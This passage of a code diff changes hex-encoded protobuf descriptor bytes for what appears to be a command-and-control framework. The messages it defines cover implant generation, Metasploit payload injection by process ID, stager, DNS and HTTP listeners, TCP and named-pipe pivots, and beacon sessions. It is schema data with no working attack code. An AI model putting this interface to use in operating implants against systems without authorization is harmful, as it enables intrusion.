0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, + 0x74, 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, + 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, + 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, + 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, + 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, + 0x69, 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, + 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, + 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, + 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, + 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, + 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, + 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, + 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, + 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, + 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, + 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, + 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, + 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, + 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, + 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, + 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, + 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, + 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, + 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, + 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, + 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, + 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, + 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, + 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, + 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, + 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, + 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, + 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, + 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, + 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, + 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, + 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, + 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, + 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0xae, 0x01, 0x0a, 0x0e, - 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x18, - 0x0a, 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, - 0x07, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x73, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, - 0x72, 0x69, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x43, 0x61, 0x6e, 0x61, - 0x72, 0x69, 0x65, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, - 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x0a, 0x0a, - 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x22, 0x23, 0x0a, 0x0b, - 0x44, 0x4e, 0x53, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, - 0x44, 0x22, 0xf5, 0x02, 0x0a, 0x0f, 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x16, 0x0a, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x12, 0x0a, - 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, - 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x65, 0x63, 0x75, 0x72, 0x65, 0x12, 0x18, 0x0a, - 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, - 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, - 0x65, 0x79, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, - 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, - 0x45, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x74, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x50, 0x65, 0x72, 0x73, 0x69, 0x73, 0x74, 0x65, 0x6e, - 0x74, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, 0x50, 0x18, - 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x45, 0x6e, 0x66, 0x6f, 0x72, 0x63, 0x65, 0x4f, 0x54, - 0x50, 0x12, 0x28, 0x0a, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, - 0x65, 0x6f, 0x75, 0x74, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x4c, 0x6f, 0x6e, 0x67, - 0x50, 0x6f, 0x6c, 0x6c, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x26, 0x0a, 0x0e, 0x4c, - 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x0c, 0x20, - 0x01, 0x28, 0x03, 0x52, 0x0e, 0x4c, 0x6f, 0x6e, 0x67, 0x50, 0x6f, 0x6c, 0x6c, 0x4a, 0x69, 0x74, - 0x74, 0x65, 0x72, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x69, 0x7a, 0x65, - 0x4a, 0x41, 0x52, 0x4d, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x52, 0x61, 0x6e, 0x64, - 0x6f, 0x6d, 0x69, 0x7a, 0x65, 0x4a, 0x41, 0x52, 0x4d, 0x22, 0x58, 0x0a, 0x0d, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, 0x73, 0x52, 0x65, 0x71, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x69, - 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x69, - 0x70, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, 0x65, - 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, - 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, - 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, 0x0a, - 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, - 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x41, - 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x12, - 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, - 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, - 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, - 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, 0x48, - 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, - 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, - 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, 0x0a, - 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, - 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, - 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, 0x09, - 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, - 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, - 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, - 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, 0x52, - 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, - 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, - 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 